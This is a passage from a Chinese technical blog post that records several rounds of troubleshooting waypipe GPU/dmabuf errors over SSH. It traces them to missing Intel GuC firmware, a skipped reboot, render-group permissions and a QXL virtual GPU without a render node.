&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;偶发还伴随 waypipe 的 dmabuf 报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;S607565: 60.485827 [src&amp;#x2F;dmabuf.c:125] Failed to open drm fd for &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键对照：&lt;code&gt;waypipe --no-gpu ssh workpc&lt;&#x2F;code&gt; 后执行 &lt;code&gt;weston-dnd&lt;&#x2F;code&gt; &lt;strong&gt;完全正常&lt;&#x2F;strong&gt;。显然问题在 waypipe 的 GPU 通道（dmabuf 直传）。&lt;&#x2F;p&gt;
&lt;p&gt;本文如实记录一次&lt;strong&gt;被错误怀疑带偏的排查&lt;&#x2F;strong&gt;——错误的焦点反复落在&quot;服务端&#x2F;客户端到底谁没有 renderD128&quot;上，而真相在另一个层面。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-yi-lun-wu-pan-huai-yi-fu-wu-duan-fu-wu-qi-que-renderd128&quot;&gt;第一轮误判：怀疑服务端（服务器）缺 renderD128&lt;&#x2F;h1&gt;
&lt;p&gt;初始推断很自然：报错里有 &lt;code&gt;Failed to open drm fd for &#x2F;dev&#x2F;dri&#x2F;renderD128&lt;&#x2F;code&gt;，dmabuf 直传要求两端都能打开渲染节点，于是先怀疑&lt;strong&gt;服务器&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在服务器上查证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;          # card0-4 + renderD128，存在
uname -r              # 7.0.0-28-generic
getfacl &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128   # user:peter:rw-, mask rw-
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;服务器有 renderD128、ACL 正常、python 实测 &lt;code&gt;open()&lt;&#x2F;code&gt; 成功、&lt;code&gt;gbm_create_device()&lt;&#x2F;code&gt; 成功。&lt;strong&gt;服务器侧完全正常&lt;&#x2F;strong&gt;，排除。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-er-lun-wu-pan-huai-yi-ke-hu-duan-mei-you-gpu-jie-dian&quot;&gt;第二轮误判：怀疑客户端没有 GPU 节点&lt;&#x2F;h1&gt;
&lt;p&gt;服务器没问题，那按&quot;两端缺一不可&quot;的逻辑，报错应该发生在&lt;strong&gt;客户端&lt;&#x2F;strong&gt;——客户端 waypipe 进程要打开它自己那台机器的 &lt;code&gt;&#x2F;dev&#x2F;dri&#x2F;renderD128&lt;&#x2F;code&gt;。于是推断&quot;客户端机器有显卡但驱动没加载 render 节点&quot;（比如 NVIDIA 没开 &lt;code&gt;modeset=1&lt;&#x2F;code&gt;、i915 模块被禁用等）。&lt;&#x2F;p&gt;
&lt;p&gt;但用户明确说：&lt;strong&gt;客户端是有 GPU 的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;而且注意一个拓扑干扰项：SSH 连接里看到的对端 IP &lt;code&gt;192.168.4.148&lt;&#x2F;code&gt; 其实是 &lt;strong&gt;WireGuard 服务器&lt;&#x2F;strong&gt;（中间转发），不是客户端真机——这又增加了&quot;客户端到底在哪&quot;的混乱。实际上真正做 waypipe 客户端的机器是用户面前的物理机。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhuan-xiang-shi-ce-bao-cuo-dao-di-lai-zi-na-yi-duan&quot;&gt;转向实测：报错到底来自哪一端&lt;&#x2F;h1&gt;
&lt;p&gt;靠猜没用，直接实验定位报错来源。把两端 stderr 分开：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe ssh workpc &amp;#x27;weston-dnd 2&amp;gt;&amp;#x2F;tmp&amp;#x2F;wp-server-err.log&amp;#x27; 2&amp;gt;&amp;#x2F;tmp&amp;#x2F;wp-client-err.log
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服务器端&lt;&#x2F;strong&gt; &lt;code&gt;&#x2F;tmp&#x2F;wp-server-err.log&lt;&#x2F;code&gt;：&lt;strong&gt;空&lt;&#x2F;strong&gt;（weston-dnd 在服务器上没报任何错）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;客户端端&lt;&#x2F;strong&gt; &lt;code&gt;&#x2F;tmp&#x2F;wp-client-err.log&lt;&#x2F;code&gt;：正是那两行 Iris 报错&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;报错文本来自客户端 waypipe 进程自身&lt;&#x2F;strong&gt;，不是服务器，也不是 weston-dnd。第一轮&quot;服务器缺 GPU&quot;彻底排除，且&quot;客户端没有 renderD128&quot;也被推翻了——因为客户端明明有：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;    # card0 + renderD128
lspci           # Intel UHD 770 (Raptor Lake-S)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;jue-ding-xing-yi-bu-ke-hu-duan-mesa-qi-shi-quan-zai-ruan-xuan-ran&quot;&gt;决定性一步：客户端 Mesa 其实全在软渲染&lt;&#x2F;h1&gt;
&lt;p&gt;客户端 GPU 节点存在，但 iris 驱动本身可能有问题。用 &lt;code&gt;glxinfo&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;eglinfo&lt;&#x2F;code&gt; 看客户端 Mesa 实际用的渲染器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;glxinfo -B | grep -i renderer
# OpenGL renderer string: llvmpipe (LLVM 19.1.7, 256 bits)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键发现：客户端所有 OpenGL 都是 llvmpipe（软件渲染），根本没有用 i915 硬件加速！&lt;&#x2F;strong&gt; 连 gnome-shell 桌面都在软渲染。&lt;&#x2F;p&gt;
&lt;p&gt;本地直接测 &lt;code&gt;gbm_create_device()&lt;&#x2F;code&gt; 也能复现那两行 Iris 报错（与 waypipe 无关）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python3 -c &amp;quot;import os,ctypes; ...gbm_create_device(os.open(&amp;#x27;&amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128&amp;#x27;, os.O_RDWR))&amp;quot;
# error: Kernel is too old (4.16+ required) or unusable for Iris.
# gbm_create_device: OK     ← 回退到 llvmpipe 后仍能创建设备
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这说明：&lt;strong&gt;不是&quot;没有 GPU 节点&quot;，而是&quot;iris 驱动加载失败，Mesa 静默回退到 llvmpipe&quot;&lt;&#x2F;strong&gt;。waypipe 的 GPU 通道坚持用 iris，失败后就把报错打出来。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhen-zheng-gen-yin-i915-guc-gu-jian-que-shi-gpu-wedged&quot;&gt;真正根因：i915 GuC 固件缺失，GPU wedged&lt;&#x2F;h1&gt;
&lt;p&gt;报错提示 &quot;Check your dmesg logs&quot;，用 sudo 看内核日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo dmesg | grep -iE &amp;#x27;i915|xe|drm&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;i915 0000:00:02.0: firmware: failed to load i915&amp;#x2F;tgl_guc_70.1.1.bin (-2)
i915 0000:00:02.0: [drm] *ERROR* GT0: GuC firmware i915&amp;#x2F;tgl_guc_70.bin: fetch failed -ENOENT
i915 0000:00:02.0: [drm] *ERROR* GT0: GuC initialization failed -ENOENT
i915 0000:00:02.0: [drm] *ERROR* GT0: Failed to initialize GPU, declaring it wedged!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;根因锁定：客户端的 i915 驱动因为缺 GuC 固件初始化失败，GPU 被内核标记为 wedged（不可用）。&lt;&#x2F;strong&gt; 于是 Mesa 的 iris 驱动初始化失败 → 报 &lt;code&gt;Kernel is too old (4.16+ required) or unusable for Iris&lt;&#x2F;code&gt; → 回退 llvmpipe。&lt;&#x2F;p&gt;
&lt;p&gt;检查固件目录：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;i915&amp;#x2F;        # 只有 dg2_dmc_ver2_07.bin，无 tgl_guc*
apt-file search tgl_guc       # 属于 firmware-intel-graphics 包
apt-cache policy firmware-intel-graphics   # 未安装
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;jie-jue-an-zhuang-gu-jian-bao-zhong-qi&quot;&gt;解决：安装固件包 + 重启&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install firmware-intel-graphics
sudo reboot    # i915 被 Wayland 桌面会话占用，无法热卸载，必须重启
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证固件进入 initramfs（确保重启后能加载）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;lsinitramfs &amp;#x2F;boot&amp;#x2F;initrd.img-$(uname -r) | grep tgl_guc
# usr&amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;i915&amp;#x2F;tgl_guc_70.bin ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启后预期：&lt;code&gt;glxinfo -B&lt;&#x2F;code&gt; 渲染器从 &lt;code&gt;llvmpipe&lt;&#x2F;code&gt; 变成 &lt;code&gt;Mesa Intel(R) Raptor Lake-S&lt;&#x2F;code&gt;，waypipe GPU 通道不再报错。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fu-pan-zhe-ci-pai-cha-wei-shen-me-bei-dai-pian&quot;&gt;复盘：这次排查为什么被带偏&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;报错文本双来源混淆&lt;&#x2F;strong&gt;。&lt;code&gt;Failed to open drm fd&lt;&#x2F;code&gt; 是 waypipe 的，&lt;code&gt;Kernel is too old for Iris&lt;&#x2F;code&gt; 是 Mesa 的——两者都指向&quot;GPU 不可用&quot;，但一个让人联想到&quot;缺节点&#x2F;权限&quot;，一个让人联想到&quot;内核太旧&quot;。真正原因（GPU wedged）藏在 dmesg 里，不靠日志只看表象必然误判。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&quot;两端缺一不可&quot;的框架太粗糙&lt;&#x2F;strong&gt;。渲染节点存在 ≠ 驱动可用。客户端明明有 &lt;code&gt;&#x2F;dev&#x2F;dri&#x2F;renderD128&lt;&#x2F;code&gt;，却因 iris 初始化失败实际不可用——&lt;code&gt;ls &#x2F;dev&#x2F;dri&lt;&#x2F;code&gt; 根本看不出 GPU 是好的。&lt;strong&gt;判断 GPU 是否可用要看 Mesa 实际用什么渲染器（&lt;code&gt;glxinfo -B&lt;&#x2F;code&gt;）和内核日志（&lt;code&gt;dmesg&lt;&#x2F;code&gt;），而不是只看有没有节点文件。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;网络拓扑干扰&lt;&#x2F;strong&gt;。WireGuard 中转让 SSH 对端 IP 显示为 WG 服务器而非客户端真机，一度让人纠结&quot;客户端到底是哪台&quot;。先厘清拓扑，再谈哪一端。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;先分离两端 stderr 再下结论&lt;&#x2F;strong&gt;。&lt;code&gt;waypipe ssh host &#x27;cmd 2&amp;gt;server.log&#x27; 2&amp;gt;client.log&lt;&#x2F;code&gt; 一次性把&quot;报错来自客户端还是服务端&quot;定死，避免了来回猜。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;pai-cha-gong-ju-su-cha&quot;&gt;排查工具速查&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;想确认什么&lt;&#x2F;th&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;报错来自哪端&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;waypipe ssh h &#x27;cmd 2&amp;gt;s.log&#x27; 2&amp;gt;c.log&lt;&#x2F;code&gt; 分别看两端&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GPU 是否真可用&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;glxinfo -B | grep -i renderer&lt;&#x2F;code&gt;（llvmpipe = 软渲染，坏）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;内核驱动状态&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;sudo dmesg | grep -iE &#x27;i915|xe|drm&#x27;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;渲染节点归属&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;readlink &#x2F;sys&#x2F;class&#x2F;drm&#x2F;renderD128&#x2F;device&#x2F;driver&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;固件是否齐全&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ls &#x2F;lib&#x2F;firmware&#x2F;i915&#x2F;&lt;&#x2F;code&gt;、&lt;code&gt;apt-file search tgl_guc&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;固件是否进 initrd&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;lsinitramfs &#x2F;boot&#x2F;initrd.img-$(uname -r) | grep tgl_guc&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;2026-08-16-fu-fa-bu-chong-zhe-ci-bu-shi-mei-zhuang-gu-jian-shi-mei-zhong-qi-liang-duan-du-yao-jia-render-zu&quot;&gt;2026-08-16 复发补充：这次不是没装固件，是没重启 + 两端都要加 render 组&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;8 月 16 日同款症状再次出现（&lt;code&gt;waypipe ssh huawei-vm yad&lt;&#x2F;code&gt; 报 Iris + dmabuf 报错），
但这次排查方向完全不同，记录两个 08-09 版本没覆盖的坑。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;zheng-zhuang&quot;&gt;症状&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;error: Kernel is too old (4.16+ required) or unusable for Iris.
S20933:  0.007984 [src&amp;#x2F;dmabuf.c:129] Failed to open drm fd for &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128: Permission denied
(yad:20929): Gdk-CRITICAL **: ... gdk_x11_window_get_xid: assertion &amp;#x27;GDK_IS_X11_WINDOW (window)&amp;#x27; failed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意 dmabuf 报错从 &lt;code&gt;No such file or directory&lt;&#x2F;code&gt;（08-09）变成了 &lt;strong&gt;&lt;code&gt;Permission denied&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;——上一轮修完的机器已无此问题，
本次报错来自&lt;strong&gt;另一台机器&lt;&#x2F;strong&gt;（waypipe 客户端，192.168.2.100）。照旧先分离两端 stderr 定位来源：
&lt;code&gt;waypipe ssh huawei-vm &#x27;yad 2&amp;gt;&#x2F;tmp&#x2F;wp-server-err.log&#x27; 2&amp;gt;&#x2F;tmp&#x2F;wp-client-err.log&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;keng-yi-gu-jian-zhuang-liao-sheng-xiao-wedged-zhuang-tai-zhi-neng-zhong-qi-hui-fu&quot;&gt;坑一：固件装了 ≠ 生效，wedged 状态只能重启恢复&lt;&#x2F;h3&gt;
&lt;p&gt;客户端 dmesg 明明是 8 月 7 日开机时 &lt;code&gt;tgl_guc_70.bin: fetch failed -ENOENT&lt;&#x2F;code&gt;、GPU wedged，
但 &lt;code&gt;firmware-intel-graphics&lt;&#x2F;code&gt; &lt;strong&gt;8 月 9 日已装好&lt;&#x2F;strong&gt;、&lt;code&gt;lsinitramfs&lt;&#x2F;code&gt; 也确认 &lt;code&gt;tgl_guc_70.bin&lt;&#x2F;code&gt; 已在 initrd 里——&lt;&#x2F;p&gt;
&lt;p&gt;对比时间线发现：开机（08-07 21:44）→ 装固件 + 重建 initramfs（08-09 22:16）→ &lt;strong&gt;之后一直没重启&lt;&#x2F;strong&gt;。
i915 被 Wayland 桌面会话占用无法热卸载，wedged 状态从开机起就固定了，装再多固件也不影响已加载的驱动。
&lt;strong&gt;判断 GPU 是否真修好必须看当前会话的 &lt;code&gt;glxinfo -B&lt;&#x2F;code&gt;（llvmpipe = 还是坏的），而不是看 initrd 里有没有固件。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;keng-er-liang-duan-du-yao-you-render-zu-quan-xian-vm-nei-ye-yao-jia&quot;&gt;坑二：两端都要有 render 组权限，VM 内也要加&lt;&#x2F;h3&gt;
&lt;p&gt;修复 Iris 后 dmabuf 报错仍在（&lt;code&gt;Permission denied&lt;&#x2F;code&gt;），客户端 &lt;code&gt;usermod -aG render peter&lt;&#x2F;code&gt; 后
报错消失一半——剩 &lt;code&gt;Permission denied&lt;&#x2F;code&gt; 转到了&lt;strong&gt;服务端 huawei-vm&lt;&#x2F;strong&gt;（VM 内 peter 只有 &lt;code&gt;video&lt;&#x2F;code&gt; 组，
&lt;code&gt;&#x2F;dev&#x2F;dri&#x2F;renderD128&lt;&#x2F;code&gt; 属组是 &lt;code&gt;render&lt;&#x2F;code&gt;）。VM 内同样要加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# VM 内（或经 qemu-guest-agent 以 root 执行）
usermod -aG render peter
# 组变更不作用于已登录会话，重新 ssh 即可；客户端侧同理
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;keng-san-yad-de-gdk-critical-shi-wayland-xia-de-wu-hai-duan-yan&quot;&gt;坑三：yad 的 Gdk-CRITICAL 是 wayland 下的无害断言&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;gdk_x11_window_get_xid: assertion &#x27;GDK_IS_X11_WINDOW&#x27; failed&lt;&#x2F;code&gt; 是 yad（GTK3）内部获取
X11 窗口 ID 的代码路径在 wayland 后端下触发的断言——窗口仍能正常弹出，&lt;strong&gt;忽略即可&lt;&#x2F;strong&gt;，不属于故障。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ben-ci-wan-zheng-lian-lu-xiao-jie&quot;&gt;本次完整链路小结&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;Iris 报错（客户端）→ 固件在 initrd 里但没重启 → 重启
dmabuf Permission denied（客户端）→ usermod -aG render
dmabuf Permission denied（服务端 VM）→ VM 内同样 usermod -aG render
Gdk-CRITICAL → 无害，忽略
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;2026-08-26-fu-fa-bu-chong-di-san-chong-xing-tai-fu-wu-duan-jiu-shi-qxl-yong-yuan-mei-you-renderd128&quot;&gt;2026-08-26 复发补充：第三种形态——服务端就是 QXL，永远没有 renderD128&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;8 月 26 日同款报错再次出现（&lt;code&gt;cat ~&#x2F;.ssh&#x2F;id_ed25519.pub | clipcopy&lt;&#x2F;code&gt; 后终端刷出），
但与前两次排雷方向都不同：&lt;strong&gt;这一次没任何 GPU 问题是可修的，纯粹是拓扑+参数问题&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;zheng-zhuang-1&quot;&gt;症状&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;blog % cat ~&amp;#x2F;.ssh&amp;#x2F;id_ed25519.pub | clipcopy
S45742: 56.574026 [src&amp;#x2F;dmabuf.c:125] Failed to open drm fd for &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;和前两次的关键区别：报错文本是 &lt;strong&gt;&lt;code&gt;No such file or directory&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（08-09 同款文本），
而不是 08-16 的 &lt;code&gt;Permission denied&lt;&#x2F;code&gt;——这次不是&quot;有节点但权限不足&quot;，而是&lt;strong&gt;节点本身不存在&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ding-wei-fu-wu-duan-mu-biao-ji-shi-qxl-xu-ni-xian-qia-wu-xuan-ran-jie-dian&quot;&gt;定位：服务端（目标机）是 QXL 虚拟显卡，无渲染节点&lt;&#x2F;h3&gt;
&lt;p&gt;报错来自 waypipe 服务端，即本次 SSH 的目标机（his-host，192.168.2.156 虚拟机）。查：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;
# crw-rw---- 1 root video 226,  1 ... card1      ← 只有显示节点
#                                无 renderD128       ← 没有渲染节点
lspci | grep -i vga
# 00:01.0 VGA compatible controller: Red Hat, Inc. QXL paravirtual graphic card
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;QXL 是纯 2D 的哑虚拟显卡（CPU 描画、无 3D 硬件），内核驱动&lt;strong&gt;本来就不注册渲染节点&lt;&#x2F;strong&gt;，
与 08-09&#x2F;08-16 里&quot;客户端机器有 renderD128 但驱动坏了&#x2F;没权限&quot;完全是两码事——&lt;strong&gt;这台机器永远不会有 renderD128&lt;&#x2F;strong&gt;，
再怎么装固件、加 render 组都没用（芯片没这功能）。CHANGELOG 里的待办&quot;QXL → virtio-gpu 3D（virgl）&quot;
就是给虚拟显卡模拟 3D 后，renderD128 才会出现。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（2026-09-13 更新：该 VM 已换成 virtio-vga-gl，renderD128 已出现，见文末收尾。）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;fu-fa-de-zhi-jie-yuan-yin-hui-hua-mei-dai-no-gpu&quot;&gt;复发的直接原因：会话没带 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;08-09 的修复约定是&lt;strong&gt;客户端&lt;&#x2F;strong&gt; &lt;code&gt;waypipe --no-gpu ssh&lt;&#x2F;code&gt;（禁用 GPU 协议、改走共享内存），
只要带了，即使服务端没渲染节点也不报错。但本次的 waypipe server 进程是 &lt;strong&gt;8&#x2F;21 重建的会话&lt;&#x2F;strong&gt;，
看进程 cmdline 就知道客户端当时没用 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt;（若带了，server 侧命令会带 &lt;code&gt;-n&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe -c lz4 --login-shell --unlink-socket -s &amp;#x2F;tmp waypipe-server-...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;于是剪贴板复制时服务端照样尝试 dmabuf 直传 → 打开 &#x2F;dev&#x2F;dri&#x2F;renderD128 → No such file。&lt;&#x2F;p&gt;
&lt;p&gt;repo 里两份&quot;入口文档&quot;仍写着&lt;strong&gt;不带 --no-gpu 的旧命令&lt;&#x2F;strong&gt;，这正是复发温床：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dotfiles&#x2F;.cheat&#x2F;waypipe.&lt;&#x2F;code&gt;：&lt;code&gt;waypipe ssh -o controlpath=none peter@&amp;lt;旧IP&amp;gt;&lt;&#x2F;code&gt;（无 --no-gpu，IP 还是 192.168.7.99）&lt;&#x2F;li&gt;
&lt;li&gt;IP 也已变（192.168.7.99 → 192.168.2.156），旧会话是照着旧 cheat 连的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;san-chong-xing-tai-pan-bie-su-cha&quot;&gt;三种形态判别速查&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;报错文本&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;th&gt;方向&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;No such file or directory&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;打开 renderD128 时节点不存在&lt;&#x2F;td&gt;&lt;td&gt;该端是 2D-only 卡（QXL&#x2F;virtio-gpu 2D&#x2F;bochs），只能 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Permission denied&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;节点存在但用户无权限&lt;&#x2F;td&gt;&lt;td&gt;该端 &lt;code&gt;usermod -aG render&lt;&#x2F;code&gt;（重新 ssh 生效）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Kernel is too old ... for Iris&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;设备存在但驱动初始化失败（GPU wedged）&lt;&#x2F;td&gt;&lt;td&gt;查 dmesg：装固件 + 重启&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;ben-ci-xiu-fu&quot;&gt;本次修复&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;客户端重连会话，用 &lt;code&gt;waypipe --no-gpu ssh -o controlpath=none peter@192.168.2.156&lt;&#x2F;code&gt;（连着旧会话的窗口重开）&lt;&#x2F;li&gt;
&lt;li&gt;顺手更新 &lt;code&gt;dotfiles&#x2F;.cheat&#x2F;waypipe.&lt;&#x2F;code&gt; 为带 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt; 的新命令&lt;&#x2F;li&gt;
&lt;li&gt;长期：VM 升级 virgl（virtio-gpu 3D）后 renderD128 出现，届时才可去掉 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt;（2026-09-13 已完成，见下）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;2026-09-13-shou-wei-renderd128-yi-chu-xian&quot;&gt;2026-09-13 收尾：renderD128 已出现&lt;&#x2F;h2&gt;
&lt;p&gt;his-host 已完成 QXL → virtio-vga-gl 迁移（实测过程见 &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;wayland-migration-toolchain&#x2F;&quot;&gt;工具链迁移 Wayland&lt;&#x2F;a&gt; 的「根治方案」章节）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;                     # card1 + renderD128
dmesg | grep -i virgl
# [drm] features: +virgl +edid -resource_blob -host_visible
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
